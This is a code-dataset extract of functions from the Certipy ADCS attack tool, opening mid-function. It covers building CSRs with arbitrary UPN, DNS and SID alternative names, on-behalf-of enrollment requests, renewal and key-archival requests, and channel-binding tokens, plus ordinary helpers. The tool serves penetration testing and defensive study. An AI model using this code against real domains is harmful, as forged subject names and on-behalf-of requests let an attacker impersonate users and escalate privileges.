alt_upn: Optional[Union[bytes, str]],
alt_sid: Optional[Union[bytes, str]],
subject: Optional[str],
key_size: int,
application_policies: Optional[List[str]],
smime: Optional[str],
key: Optional[rsa.RSAPrivateKey] = None,
renewal_cert: Optional[x509.Certificate] = None,
) -> Tuple[x509.CertificateSigningRequest, rsa.RSAPrivateKey]:
"""
Create a certificate signing request (CSR) with optional extensions.
Args:
username: Username for the subject
alt_dns: Alternative DNS name
alt_upn: Alternative UPN (User Principal Name)
alt_sid: Alternative SID (Security Identifier)
key: RSA private key (generated if None)
key_size: Key size in bits (for key generation)
subject: Subject DN string
renewal_cert: Certificate being renewed
application_policies: List of application policy OIDs
smime: SMIME capability identifier
Returns:
Tuple of (CSR, private_key)
"""
# Generate key if not provided
if key is None:
logging.debug("Generating RSA key")
key = generate_rsa_key(key_size)
# Start building CSR
certification_request_info = asn1csr.CertificationRequestInfo()
certification_request_info["version"] = "v1"
# Set subject name
if subject:
subject_name = get_subject_from_str(subject)
else:
subject_name = x509.Name(
[
x509.NameAttribute(NameOID.COMMON_NAME, username.capitalize()),
]
)
certification_request_info["subject"] = asn1csr.Name.load(
subject_name.public_bytes()
)
# Set public key
public_key = key.public_key().public_bytes(
Encoding.DER, PublicFormat.SubjectPublicKeyInfo
)
subject_pk_info = asn1csr.PublicKeyInfo.load(public_key)
certification_request_info["subject_pk_info"] = subject_pk_info
# Build CSR attributes
cri_attributes = []
# Add Subject Alternative Name extension if needed
if alt_dns or alt_upn or alt_sid:
general_names = []
# Add DNS name
if alt_dns:
if isinstance(alt_dns, bytes):
alt_dns = alt_dns.decode()
general_names.append(asn1x509.GeneralName({"dns_name": alt_dns}))
# Add UPN
if alt_upn:
if isinstance(alt_upn, bytes):
alt_upn = alt_upn.decode()
general_names.append(
asn1x509.GeneralName(
{
"other_name": asn1x509.AnotherName(
{
"type_id": OID_PRINCIPAL_NAME,
"value": asn1x509.UTF8String(alt_upn).retag(
{"explicit": 0}
),
}
)
}
)
)
# Add SID URL
if alt_sid:
if isinstance(alt_sid, bytes):
alt_sid = alt_sid.decode()
general_names.append(
asn1x509.GeneralName(
{"uniform_resource_identifier": f"{SAN_URL_PREFIX}{alt_sid}"}
)
)
# Create SAN extension
san_extension = asn1x509.Extension(
{"extn_id": "subject_alt_name", "extn_value": general_names}
)
# Add extension to CSR attributes
set_of_extensions = asn1csr.SetOfExtensions([[san_extension]])
cri_attribute = asn1csr.CRIAttribute(
{"type": "extension_request", "values": set_of_extensions}
)
cri_attributes.append(cri_attribute)
# Add SMIME capability extension if requested
if smime:
# Create SMIME extension
smime_extension = asn1x509.Extension(
{
"extn_id": "smime_capability",
"extn_value": asn1x509.ParsableOctetString(
asn1core.ObjectIdentifier(SMIME_MAP[smime]).dump()
),
}
)
# Add extension to CSR attributes
set_of_extensions = asn1csr.SetOfExtensions([[smime_extension]])
cri_attribute = asn1csr.CRIAttribute(
{"type": "extension_request", "values": set_of_extensions}
)
cri_attributes.append(cri_attribute)
# Add Security Identifier extension if requested
if alt_sid:
# Create security extension
san_extension = asn1x509.Extension(
{
"extn_id": "security_ext",
"extn_value": [
asn1x509.GeneralName(
{
"other_name": asn1x509.AnotherName(
{
"type_id": OID_NTDS_OBJECTSID,
"value": asn1x509.OctetString(
alt_sid.encode()
).retag({"explicit": 0}),
}
)
}
)
],
}
)
# Add extension to CSR attributes
set_of_extensions = asn1csr.SetOfExtensions([[san_extension]])
cri_attribute = asn1csr.CRIAttribute(
{"type": "extension_request", "values": set_of_extensions}
)
cri_attributes.append(cri_attribute)
# Add renewal certificate if provided
if renewal_cert:
cri_attributes.append(
asn1csr.CRIAttribute(
{
"type": "1.3.6.1.4.1.311.13.1",
"values": asn1x509.SetOf(
[asn1x509.Certificate.load(cert_to_der(renewal_cert))],
spec=asn1x509.Certificate,
),
}
)
)
# Add Microsoft Application Policies if requested
if application_policies:
# Convert each policy OID string to PolicyIdentifier
application_policy_oids = [
asn1x509.PolicyInformation(
{"policy_identifier": asn1x509.PolicyIdentifier(ap)}
)
for ap in application_policies
]
# Create certificate policies extension
cert_policies = asn1x509.CertificatePolicies(application_policy_oids)
der_encoded_cert_policies = cert_policies.dump()
# Create application policies extension
app_policy_extension = asn1x509.Extension(
{
"extn_id": "1.3.6.1.4.1.311.21.10", # OID for Microsoft Application Policies
"critical": False,
"extn_value": asn1x509.ParsableOctetString(der_encoded_cert_policies),
}
)
# Add extension to CSR attributes
set_of_extensions = asn1csr.SetOfExtensions([[app_policy_extension]])
cri_attribute = asn1csr.CRIAttribute(
{"type": "extension_request", "values": set_of_extensions}
)
cri_attributes.append(cri_attribute)
# Set all CSR attributes
certification_request_info["attributes"] = cri_attributes
# Sign the CSR
signature = rsa_pkcs1v15_sign(certification_request_info.dump(), key)
# Create the final CSR
csr = asn1csr.CertificationRequest(
{
"certification_request_info": certification_request_info,
"signature_algorithm": asn1csr.SignedDigestAlgorithm(
{"algorithm": "sha256_rsa"}
),
"signature": signature,
}
)
return (der_to_csr(csr.dump()), key)
|
Create a certificate signing request (CSR) with optional extensions.
Args:
username: Username for the subject
alt_dns: Alternative DNS name
alt_upn: Alternative UPN (User Principal Name)
alt_sid: Alternative SID (Security Identifier)
key: RSA private key (generated if None)
key_size: Key size in bits (for key generation)
subject: Subject DN string
renewal_cert: Certificate being renewed
application_policies: List of application policy OIDs
smime: SMIME capability identifier
Returns:
Tuple of (CSR, private_key)
|
create_csr
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def create_csr_attributes(
template: str,
alt_dns: Optional[Union[bytes, str]] = None,
alt_upn: Optional[Union[bytes, str]] = None,
alt_sid: Optional[Union[bytes, str]] = None,
application_policies: Optional[List[str]] = None,
) -> List[str]:
"""
Create a list of CSR attributes based on the provided template and Subject Alternative Name options.
This function generates the attributes needed when requesting a certificate through Microsoft's
certificate enrollment web services. It formats the template name and any requested SAN entries
according to Microsoft's specifications.
Args:
template: Certificate template name to request
alt_dns: Alternative DNS name to include in the certificate SAN
alt_upn: Alternative User Principal Name (UPN) to include in the certificate SAN
alt_sid: Alternative Security Identifier (SID) to include in the certificate SAN as a URL
Returns:
List of formatted CSR attribute strings ready for use in certificate requests
"""
# Start with the certificate template attribute
attributes = [f"CertificateTemplate:{template}"]
# Only add SAN attribute if at least one SAN value is provided
if any(value is not None for value in [alt_dns, alt_upn, alt_sid]):
san_parts = []
# Process DNS name
if alt_dns:
# Convert bytes to string if needed
if isinstance(alt_dns, bytes):
alt_dns = alt_dns.decode("utf-8")
san_parts.append(f"dns={alt_dns}")
# Process User Principal Name
if alt_upn:
# Convert bytes to string if needed
if isinstance(alt_upn, bytes):
alt_upn = alt_upn.decode("utf-8")
san_parts.append(f"upn={alt_upn}")
# Process Security Identifier
if alt_sid:
# Convert bytes to string if needed
if isinstance(alt_sid, bytes):
alt_sid = alt_sid.decode("utf-8")
# Format SID as URL according to Microsoft's specifications
san_parts.append(f"url={SAN_URL_PREFIX}{alt_sid}")
# Join all SAN parts with ampersands
attributes.append(f"SAN:{'&'.join(san_parts)}")
# Add application policies if provided
if application_policies:
# Join all application policy parts with ampersands
attributes.append(f"ApplicationPolicies:{'&'.join(application_policies)}")
return attributes
|
Create a list of CSR attributes based on the provided template and Subject Alternative Name options.
This function generates the attributes needed when requesting a certificate through Microsoft's
certificate enrollment web services. It formats the template name and any requested SAN entries
according to Microsoft's specifications.
Args:
template: Certificate template name to request
alt_dns: Alternative DNS name to include in the certificate SAN
alt_upn: Alternative User Principal Name (UPN) to include in the certificate SAN
alt_sid: Alternative Security Identifier (SID) to include in the certificate SAN as a URL
Returns:
List of formatted CSR attribute strings ready for use in certificate requests
|
create_csr_attributes
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def create_renewal(
request: bytes,
cert: x509.Certificate,
key: rsa.RSAPrivateKey,
) -> bytes:
"""
Create a certificate renewal request.
Args:
request: Original request data
cert: Certificate being renewed
key: Private key for signing
Returns:
CMC renewal request as bytes
Raises:
ValueError: If signature algorithm is not set
"""
x509_cert = asn1x509.Certificate.load(cert_to_der(cert))
signature_hash_algorithm = cert.signature_hash_algorithm.__class__
if signature_hash_algorithm is type(None):
raise ValueError("Signature hash algorithm is not set in the certificate")
# Create SignerInfo
issuer_and_serial = asn1cms.IssuerAndSerialNumber(
{
"issuer": x509_cert.issuer,
"serial_number": x509_cert.serial_number,
}
)
digest_algorithm = asn1cms.DigestAlgorithm(
{"algorithm": signature_hash_algorithm.name}
)
# Create signed attributes with renewal certificate
signed_attribs = asn1cms.CMSAttributes(
[
asn1cms.CMSAttribute(
{
"type": "1.3.6.1.4.1.311.13.1",
"values": asn1cms.SetOfAny(
[asn1x509.Certificate.load(cert_to_der(cert))],
spec=asn1x509.Certificate,
),
}
),
asn1cms.CMSAttribute(
{
"type": "message_digest",
"values": [hash_digest(request, signature_hash_algorithm)],
}
),
]
)
# Sign the attributes
attribs_signature = rsa_pkcs1v15_sign(
signed_attribs.dump(), key, hash_algorithm=signature_hash_algorithm
)
# Create SignerInfo
signer_info = asn1cms.SignerInfo(
{
"version": 1,
"sid": issuer_and_serial,
"digest_algorithm": digest_algorithm,
"signature_algorithm": x509_cert["signature_algorithm"],
"signature": attribs_signature,
"signed_attrs": signed_attribs,
}
)
# Create SignedData
content_info = asn1cms.EncapsulatedContentInfo(
{
"content_type": "data",
"content": request,
}
)
signed_data = asn1cms.SignedData(
{
"version": 3,
"digest_algorithms": [digest_algorithm],
"encap_content_info": content_info,
"certificates": [asn1cms.CertificateChoices({"certificate": x509_cert})],
"signer_infos": [signer_info],
}
)
# Create CMC ContentInfo
cmc = asn1cms.ContentInfo(
{
"content_type": "signed_data",
"content": signed_data,
}
)
return cmc.dump()
|
Create a certificate renewal request.
Args:
request: Original request data
cert: Certificate being renewed
key: Private key for signing
Returns:
CMC renewal request as bytes
Raises:
ValueError: If signature algorithm is not set
|
create_renewal
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def create_on_behalf_of(
request: bytes,
on_behalf_of: str,
cert: x509.Certificate,
key: rsa.RSAPrivateKey,
) -> bytes:
"""
Create a certificate request on behalf of another user.
Args:
request: Original request data
on_behalf_of: Username to request on behalf of
cert: Certificate for signing
key: Private key for signing
Returns:
CMC on-behalf-of request as bytes
Raises:
ValueError: If signature algorithm is not set
"""
x509_cert = asn1x509.Certificate.load(cert_to_der(cert))
signature_hash_algorithm = cert.signature_hash_algorithm.__class__
if signature_hash_algorithm is type(None):
raise ValueError("Signature hash algorithm is not set in the certificate")
# Create SignerInfo
issuer_and_serial = asn1cms.IssuerAndSerialNumber(
{
"issuer": x509_cert.issuer,
"serial_number": x509_cert.serial_number,
}
)
digest_algorithm = asn1cms.DigestAlgorithm(
{"algorithm": signature_hash_algorithm.name}
)
# Create requester name attribute
requester_name = EnrollmentNameValuePair(
{
"name": checkNullString("requestername"),
"value": checkNullString(on_behalf_of),
}
)
# Create signed attributes with requester name
signed_attribs = asn1cms.CMSAttributes(
[
asn1cms.CMSAttribute(
{
"type": "1.3.6.1.4.1.311.21.10",
"values": [asn1cms.ObjectIdentifier("1.3.6.1.5.5.7.3.2")],
}
),
asn1cms.CMSAttribute(
{"type": "1.3.6.1.4.1.311.13.2.1", "values": [requester_name]}
),
asn1cms.CMSAttribute(
{
"type": "message_digest",
"values": [hash_digest(request, signature_hash_algorithm)],
}
),
]
)
# Sign the attributes
attribs_signature = rsa_pkcs1v15_sign(
signed_attribs.dump(), key, hash_algorithm=signature_hash_algorithm
)
# Create SignerInfo
signer_info = asn1cms.SignerInfo(
{
"version": 1,
"sid": issuer_and_serial,
"digest_algorithm": digest_algorithm,
"signature_algorithm": x509_cert["signature_algorithm"],
"signature": attribs_signature,
"signed_attrs": signed_attribs,
}
)
# Create SignedData
content_info = asn1cms.EncapsulatedContentInfo(
{
"content_type": "data",
"content": request,
}
)
signed_data = asn1cms.SignedData(
{
"version": 3,
"digest_algorithms": [digest_algorithm],
"encap_content_info": content_info,
"certificates": [asn1cms.CertificateChoices({"certificate": x509_cert})],
"signer_infos": [signer_info],
}
)
# Create CMC ContentInfo
cmc = asn1cms.ContentInfo(
{
"content_type": "signed_data",
"content": signed_data,
}
)
return cmc.dump()
|
Create a certificate request on behalf of another user.
Args:
request: Original request data
on_behalf_of: Username to request on behalf of
cert: Certificate for signing
key: Private key for signing
Returns:
CMC on-behalf-of request as bytes
Raises:
ValueError: If signature algorithm is not set
|
create_on_behalf_of
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def create_key_archival(
csr: x509.CertificateSigningRequest,
private_key: rsa.RSAPrivateKey,
cax_cert: x509.Certificate,
) -> bytes:
"""
Create a key archival request.
Args:
csr: Certificate signing request
private_key: Private key to be archived
cax_cert: Key archival agent certificate
Returns:
CMC key archival request as bytes
Raises:
ValueError: If signature algorithm is not set
TypeError: If CAX certificate doesn't have an RSA public key
"""
x509_cax_cert = asn1x509.Certificate.load(cert_to_der(cax_cert))
x509_csr = asn1csr.CertificationRequest.load(csr_to_der(csr))
signature_hash_algorithm = csr.signature_hash_algorithm.__class__
if signature_hash_algorithm is type(None):
raise ValueError("Signature hash algorithm is not set in the CSR")
# Generate symmetric encryption key and IV
symmetric_key = os.urandom(32) # 256-bit AES key
iv = os.urandom(16) # 128-bit IV for CBC mode
# Get CAX certificate public key
cax_key = cax_cert.public_key()
if not isinstance(cax_key, rsa.RSAPublicKey):
raise TypeError("cax_key must be an instance of RSAPublicKey")
# Encrypt symmetric key with CAX public key
encrypted_key = cax_key.encrypt(symmetric_key, padding.PKCS1v15())
# Create EnvelopedData
# Set up recipient info
cax_issuer_and_serial = asn1cms.IssuerAndSerialNumber(
{
"issuer": x509_cax_cert.issuer,
"serial_number": x509_cax_cert.serial_number,
}
)
recipient_info = asn1cms.KeyTransRecipientInfo(
{
"version": 0,
"rid": cax_issuer_and_serial,
"key_encryption_algorithm": asn1cms.KeyEncryptionAlgorithm(
{"algorithm": "rsaes_pkcs1v15"}
),
"encrypted_key": encrypted_key,
}
)
# Set up encryption algorithm parameters
encryption_algorithm = asn1cms.EncryptionAlgorithm(
{"algorithm": "aes256_cbc", "parameters": iv}
)
# Convert private key to Microsoft BLOB format
private_key_bytes = private_key_to_ms_blob(private_key)
# Encrypt private key with symmetric key
cipher = Cipher(algorithms.AES(symmetric_key), modes.CBC(iv))
# Pad data to block size
padder = PKCS7(encryption_algorithm.encryption_block_size * 8).padder()
padded_private_key_bytes = padder.update(private_key_bytes) + padder.finalize()
# Encrypt the padded data
encryptor = cipher.encryptor()
encrypted_private_key_bytes = (
encryptor.update(padded_private_key_bytes) + encryptor.finalize()
)
# Create encrypted content info
encrypted_content_info = asn1cms.EncryptedContentInfo(
{
"content_type": "data",
"content_encryption_algorithm": encryption_algorithm,
"encrypted_content": encrypted_private_key_bytes,
}
)
# Create enveloped data structure
enveloped_data = asn1cms.EnvelopedData(
{
"version": 0,
"recipient_infos": asn1cms.RecipientInfos([recipient_info]),
"encrypted_content_info": encrypted_content_info,
}
)
# Wrap in ContentInfo
enveloped_data_info = asn1cms.ContentInfo(
{
"content_type": "1.2.840.113549.1.7.3",
"content": enveloped_data,
}
)
# Calculate encrypted key hash
encrypted_key_hash = hash_digest(
enveloped_data_info.dump(), signature_hash_algorithm
)
# Create PKIData
# Create attribute set with encrypted key hash
attributes = asn1csr.SetOfAttributes(
[
asn1csr.Attribute(
{
"type": OID_ENCRYPTED_KEY_HASH,
"values": [asn1core.OctetString(encrypted_key_hash)],
}
)
]
)
# Create CMC add attributes info
attributes_info = CMCAddAttributesInfo(
{"data_reference": 0, "cert_reference": [1], "attributes": attributes}
)
# Create tagged attribute
tagged_attribute = TaggedAttribute(
{
"bodyPartID": 2,
"attrType": OID_CMC_ADD_ATTRIBUTES,
"attrValues": [attributes_info],
}
)
# Create tagged request with CSR
tagged_request = TaggedRequest(
{
"tcr": TaggedCertificationRequest(
{
"bodyPartID": 1,
"certificationRequest": asn1csr.CertificationRequest().load(
csr_to_der(csr)
),
}
)
}
)
# Assemble PKIData
pki_data = PKIData(
{
"controlSequence": [tagged_attribute],
"reqSequence": [tagged_request],
"cmsSequence": TaggedContentInfos([]),
"otherMsgSequence": OtherMsgs([]),
}
)
pki_data_bytes = pki_data.dump()
# Calculate request hash
cmc_request_hash = hash_digest(pki_data_bytes, signature_hash_algorithm)
# Create SignerInfo
digest_algorithm = asn1cms.DigestAlgorithm(
{"algorithm": signature_hash_algorithm.name}
)
# Create subject key identifier from CSR public key
skid = SubjectKeyIdentifier.from_public_key(csr.public_key()).digest
# Create signed attributes
signed_attribs = asn1cms.CMSAttributes(
[
asn1cms.CMSAttribute(
{"type": "content_type", "values": ["1.3.6.1.5.5.7.12.2"]}
),
asn1cms.CMSAttribute(
{
"type": "message_digest",
"values": [cmc_request_hash],
}
),
]
)
# Sign the attributes
attribs_signature = rsa_pkcs1v15_sign(
signed_attribs.dump(), private_key, hash_algorithm=signature_hash_algorithm
)
# Create signer info with enveloped data in unsigned attributes
signer_info = asn1cms.SignerInfo(
{
"version": 3,
"sid": asn1cms.SignerIdentifier({"subject_key_identifier": skid}),
"digest_algorithm": digest_algorithm,
"signature_algorithm": x509_csr["signature_algorithm"],
"signature": attribs_signature,
"signed_attrs": signed_attribs,
"unsigned_attrs": asn1cms.CMSAttributes(
[
asn1cms.CMSAttribute(
{
"type": "1.3.6.1.4.1.311.21.13",
"values": [enveloped_data_info],
}
)
]
),
}
)
# Create SignedData
content_info = asn1cms.EncapsulatedContentInfo(
{
"content_type": "1.3.6.1.5.5.7.12.2",
"content": pki_data_bytes,
}
)
signed_data = asn1cms.SignedData(
{
"version": 3,
"digest_algorithms": [digest_algorithm],
"encap_content_info": content_info,
"signer_infos": [signer_info],
}
)
# Create CMC ContentInfo
cmc = asn1cms.ContentInfo(
{
"content_type": "signed_data",
"content": signed_data,
}
)
return cmc.dump()
|
Create a key archival request.
Args:
csr: Certificate signing request
private_key: Private key to be archived
cax_cert: Key archival agent certificate
Returns:
CMC key archival request as bytes
Raises:
ValueError: If signature algorithm is not set
TypeError: If CAX certificate doesn't have an RSA public key
|
create_key_archival
|
python
|
ly4k/Certipy
|
certipy/lib/certificate.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/certificate.py
|
MIT
|
def get_channel_binding_data(server_cert: bytes) -> bytes:
"""
Generate channel binding token (CBT) from a server certificate.
This implements the tls-server-end-point channel binding type as described
in RFC 5929 section 4. The binding token is created by:
1. Hashing the server certificate with SHA-256
2. Creating a channel binding structure with the hash
3. Computing an MD5 hash of the structure
Args:
server_cert: Raw server certificate bytes
Returns:
MD5 hash of the channel binding structure (16 bytes)
References:
- RFC 5929: https://datatracker.ietf.org/doc/html/rfc5929#section-4
"""
# Hash the certificate with SHA-256 as required by the RFC
cert_hash = hashlib.sha256(server_cert).digest()
# Initialize the channel binding structure with empty addresses
# These fields are defined in the RFC but not used for TLS bindings
initiator_address = b"\x00" * 8
acceptor_address = b"\x00" * 8
# Create the application data with the "tls-server-end-point:" prefix
application_data_raw = b"tls-server-end-point:" + cert_hash
# Add the length prefix to the application data (little-endian 32-bit integer)
len_application_data = len(application_data_raw).to_bytes(
4, byteorder="little", signed=False
)
application_data = len_application_data + application_data_raw
# Assemble the complete channel binding structure
channel_binding_struct = initiator_address + acceptor_address + application_data
# Return the MD5 hash of the structure
return hashlib.md5(channel_binding_struct).digest()
|
Generate channel binding token (CBT) from a server certificate.
This implements the tls-server-end-point channel binding type as described
in RFC 5929 section 4. The binding token is created by:
1. Hashing the server certificate with SHA-256
2. Creating a channel binding structure with the hash
3. Computing an MD5 hash of the structure
Args:
server_cert: Raw server certificate bytes
Returns:
MD5 hash of the channel binding structure (16 bytes)
References:
- RFC 5929: https://datatracker.ietf.org/doc/html/rfc5929#section-4
|
get_channel_binding_data
|
python
|
ly4k/Certipy
|
certipy/lib/channel_binding.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/channel_binding.py
|
MIT
|
def get_channel_binding_data_from_response(response: httpx.Response) -> bytes:
"""
Extract channel binding data from an HTTPX response.
This function extracts the server certificate from an HTTPX response
and generates the channel binding token used for authentication.
Args:
response: The HTTPX response object containing TLS connection information
Returns:
The channel binding token as bytes
Raises:
ValueError: If unable to extract required TLS information from the response
"""
# Check if network stream is available in response extensions
if "network_stream" not in response.extensions:
raise ValueError(
"No network stream found in response - TLS information unavailable"
)
# Extract the TLS/SSL object from the network stream
network_stream = response.extensions["network_stream"]
ssl_object = network_stream.get_extra_info("ssl_object")
if ssl_object is None:
raise ValueError(
"No SSL object found in network stream - connection may not be using TLS"
)
# Get the peer/server certificate in binary (DER) format
peer_cert = ssl_object.getpeercert(True)
if peer_cert is None:
raise ValueError(
"No peer certificate found in SSL object - server may not have presented a certificate"
)
# Generate and return channel binding data using the server certificate
return get_channel_binding_data(peer_cert)
|
Extract channel binding data from an HTTPX response.
This function extracts the server certificate from an HTTPX response
and generates the channel binding token used for authentication.
Args:
response: The HTTPX response object containing TLS connection information
Returns:
The channel binding token as bytes
Raises:
ValueError: If unable to extract required TLS information from the response
|
get_channel_binding_data_from_response
|
python
|
ly4k/Certipy
|
certipy/lib/channel_binding.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/channel_binding.py
|
MIT
|
def get_channel_binding_data_from_ssl_socket(ssl_socket: ssl.SSLSocket) -> bytes:
"""
Extract channel binding data from an SSL socket.
This function extracts the server certificate from an SSL socket
and generates the channel binding token used for authentication.
Args:
ssl_socket: The SSL socket object containing TLS connection information
Returns:
The channel binding token as bytes
Raises:
ValueError: If unable to extract required TLS information from the socket
"""
# Get the peer/server certificate in binary (DER) format
peer_cert = ssl_socket.getpeercert(True)
if peer_cert is None:
raise ValueError(
"No peer certificate found in SSL socket - server may not have presented a certificate"
)
# Generate and return channel binding data using the server certificate
return get_channel_binding_data(peer_cert)
|
Extract channel binding data from an SSL socket.
This function extracts the server certificate from an SSL socket
and generates the channel binding token used for authentication.
Args:
ssl_socket: The SSL socket object containing TLS connection information
Returns:
The channel binding token as bytes
Raises:
ValueError: If unable to extract required TLS information from the socket
|
get_channel_binding_data_from_ssl_socket
|
python
|
ly4k/Certipy
|
certipy/lib/channel_binding.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/channel_binding.py
|
MIT
|
def translate_error_code(error_code: int) -> str:
"""
Translate a Windows API error code to a human-readable string.
Args:
error_code: Windows API error code (HRESULT)
Returns:
Formatted error message with code, short description, and detailed explanation
Example:
>>> translate_error_code(0x80090311)
'code: 0x80090311 - SEC_E_LOGON_DENIED - The token supplied to the function is invalid'
"""
# Mask to 32 bits to handle sign extension issues
masked_code = error_code & 0xFFFFFFFF
# Look up in the impacket error dictionary
if masked_code in hresult_errors.ERROR_MESSAGES:
error_tuple: Tuple[str, str] = hresult_errors.ERROR_MESSAGES[masked_code]
error_short, error_detail = error_tuple
# Format the message with all information
return f"code: 0x{masked_code:x} - {error_short} - {error_detail}"
else:
# Handle unknown error codes
return f"unknown error code: 0x{masked_code:x}"
|
Translate a Windows API error code to a human-readable string.
Args:
error_code: Windows API error code (HRESULT)
Returns:
Formatted error message with code, short description, and detailed explanation
Example:
>>> translate_error_code(0x80090311)
'code: 0x80090311 - SEC_E_LOGON_DENIED - The token supplied to the function is invalid'
|
translate_error_code
|
python
|
ly4k/Certipy
|
certipy/lib/errors.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/errors.py
|
MIT
|
def handle_error(is_warning: bool = False) -> None:
"""
Handle errors by printing the error message and exiting the program.
This function is a placeholder for error handling logic. It can be extended
to include logging, user notifications, or other actions as needed.
"""
if is_verbose():
# Print the full traceback for debugging
traceback.print_exc()
else:
msg = "Use -debug to print a stacktrace"
if is_warning:
logging.warning(msg)
else:
logging.error(msg)
|
Handle errors by printing the error message and exiting the program.
This function is a placeholder for error handling logic. It can be extended
to include logging, user notifications, or other actions as needed.
|
handle_error
|
python
|
ly4k/Certipy
|
certipy/lib/errors.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/errors.py
|
MIT
|
def try_to_save_file(
data: Union[bytes, str], output_path: str, abort_on_fail: bool = False
) -> str:
"""
Try to write data to a file or stdout if file writing fails.
This function attempts to save data to the specified path. If writing fails,
it outputs to stdout instead. If the file already exists, the user is
prompted to confirm overwriting.
Args:
data: Data to write (either binary bytes or text string)
output_path: Path to output file
abort_on_fail: If True, abort the operation on failure
"""
logging.debug(f"Attempting to write data to {output_path!r}")
# Clean up the output path
output_path = output_path.replace("\\", "_").replace("/", "_").replace(":", "_")
# Handle file existence check and overwrite confirmation
output_path = _handle_file_exists(output_path)
# Write to file with appropriate mode
try:
mode = "wb" if isinstance(data, bytes) else "w"
with open(output_path, mode) as f:
f.write(data)
logging.debug(f"Data written to {output_path!r}")
return output_path
except Exception as e:
if abort_on_fail:
logging.error(f"Error writing output file: {e}")
raise
logging.error(f"Error writing output file: {e}. Dumping to stdout instead")
handle_error()
_write_to_stdout(data)
return "stdout"
|
Try to write data to a file or stdout if file writing fails.
This function attempts to save data to the specified path. If writing fails,
it outputs to stdout instead. If the file already exists, the user is
prompted to confirm overwriting.
Args:
data: Data to write (either binary bytes or text string)
output_path: Path to output file
abort_on_fail: If True, abort the operation on failure
|
try_to_save_file
|
python
|
ly4k/Certipy
|
certipy/lib/files.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/files.py
|
MIT
|
def _handle_file_exists(path: str) -> str:
"""
Handle the case where a file already exists.
Prompts the user to confirm overwriting or generates a new unique filename.
If the user chooses not to overwrite, a UUID is appended to create a unique name.
Args:
path: Original file path
Returns:
Final path to use (either original or new unique path)
"""
if os.path.exists(path):
overwrite = input(
f"File {path!r} already exists. Overwrite? (y/n - saying no will save with a unique filename): "
)
if overwrite.strip().lower() != "y":
# Generate a unique filename
base, ext = os.path.splitext(path)
new_path = f"{base}_{uuid.uuid4()}{ext}"
logging.debug(f"Using alternative filename: {new_path!r}")
return new_path
return path
|
Handle the case where a file already exists.
Prompts the user to confirm overwriting or generates a new unique filename.
If the user chooses not to overwrite, a UUID is appended to create a unique name.
Args:
path: Original file path
Returns:
Final path to use (either original or new unique path)
|
_handle_file_exists
|
python
|
ly4k/Certipy
|
certipy/lib/files.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/files.py
|
MIT
|
def _write_to_stdout(data: Union[bytes, str]) -> None:
"""
Write data to stdout, encoding binary data as base64 if needed.
Args:
data: Data to output (binary data will be base64 encoded)
"""
if isinstance(data, bytes):
print(base64.b64encode(data).decode())
else:
print(data)
|
Write data to stdout, encoding binary data as base64 if needed.
Args:
data: Data to output (binary data will be base64 encoded)
|
_write_to_stdout
|
python
|
ly4k/Certipy
|
certipy/lib/files.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/files.py
|
MIT
|
def to_pascal_case(snake_str: str) -> str:
"""
Convert a snake_case string to PascalCase.
Args:
snake_str: String in snake_case format
Returns:
String converted to PascalCase
Example:
>>> to_pascal_case("hello_world")
"HelloWorld"
"""
components = snake_str.split("_")
return "".join(x.title() for x in components)
|
Convert a snake_case string to PascalCase.
Args:
snake_str: String in snake_case format
Returns:
String converted to PascalCase
Example:
>>> to_pascal_case("hello_world")
"HelloWorld"
|
to_pascal_case
|
python
|
ly4k/Certipy
|
certipy/lib/formatting.py
|
https://github.com/ly4k/Certipy/blob/master/certipy/lib/formatting.py
|
MIT
|
def pretty_print(
data: JsonLike, indent: int = 0, padding: int = 40, print_func: PrintFunc = print
) -> None:
"""
Pretty print a dictionary with customizable indentation and padding.
Handles nested dictionaries, lists, and various data types with appropriate formatting.
Args:
data: Dictionary to print
indent: Initial indentation level
padding: Left padding for values
print_func: Function to use for printing (default: built-in print)
Raises:
TypeError: If input is not a dictionary or contains unsupported types
"""
indent_str = " " * indent
for key, value in data.items():
if key in REMAP:
# Remap keys if needed
key = REMAP[key]
key_str = f"{indent_str}{key}"
padded_key = key_str.ljust(padding, " ")
if isinstance(value, (str, int, float, bool)):
# Simple scalar types
print_func(f"{padded_key}: {value}")
elif isinstance(value, datetime.datetime):
# Format datetime as ISO format
print_func(f"{padded_key}: {value.isoformat()}")
elif isinstance(value, dict):
# Handle nested dictionaries
print_func(f"{key_str}")
pretty_print(
value, indent=indent + 1, padding=padding, print_func=print_func
)
elif isinstance(value, list):
if len(value) > 0 and isinstance(value[0], dict):
# List of dictionaries
print_func(f"{key_str}")
for item in value:
if isinstance(item, dict):
pretty_print(
item,
indent=indent + 1,
padding=padding,
print_func=print_func,
)
else:
print_func(f"{indent_str} {item}")
else:
# Format list with line breaks if needed
formatted_list = ("\n" + " " * padding + " ").join(
str(x) for x in value
)
print_func(f"{padded_key}: {formatted_list}")
elif isinstance(value, tuple):
# Handle tuples (similar to lists of dictionaries)
print_func(f"{key_str}")
for item in value:
if isinstance(item, dict):
pretty_print(
item, indent=indent + 1, padding=padding, print_func=print_func
)
else:
print_func(f"{indent_str} {item}")
elif value is None:
# Skip None values
continue
else:
# Unsupported type
raise TypeError(
f"Unsupported type for pretty printing: {type(value).__name__}"
)
|
Pretty print a dictionary with customizable indentation and padding.
Handles nested dictionaries, lists, and various data types with appropriate formatting.
Args:
data: Dictionary to print
indent: Initial indentation level
padding: Left padding for values
print_func: Function to use for printing (default: built-in print)
Raises:
TypeError: If input is not a dictionary or contains unsupported types
|
pretty_print
|
python
|
ly4k/Certipy
|
